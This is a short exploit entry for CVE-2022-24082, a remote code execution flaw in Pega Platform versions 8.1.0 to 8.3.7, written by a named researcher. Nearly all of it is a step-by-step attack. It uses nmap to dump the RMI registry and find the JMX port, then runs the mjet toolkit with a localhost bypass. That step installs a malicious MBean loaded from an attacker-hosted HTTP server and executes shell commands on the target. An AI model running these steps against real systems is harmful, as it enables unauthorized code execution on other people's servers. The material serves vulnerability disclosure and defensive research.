# Exploit Title: Pega Platform 8.1.0 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 20 Oct 2022# Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit)# Vendor Homepage: www.pega.com# Software Link: Not Available# Version: 8.1.0 on-premise and higher, up to 8.3.7# Tested on: Red Hat Enterprise 7# CVE : CVE-2022-24082;Dumping RMI registry:
nmap -sT -sV--script rmi-dumpregistry -p 9999 <IP Address>
;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1
:<PORT>);Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI
dump, but actually listens on the network as well):
nmap -sT -sV-p <PORT> <IP Address>
;Exploitation requires:
;- JVM
;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet);- jython
;Installing mbean for remote code execution
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 install random_password http://<Local IP to Serve Payload
over HTTP>:6666 6666
;Execution of commands id & ifconfig
java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP
Address> 9999 command random_password "id;ifconfig";More details:
https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316
Kind Regards,
Marcin Wolak
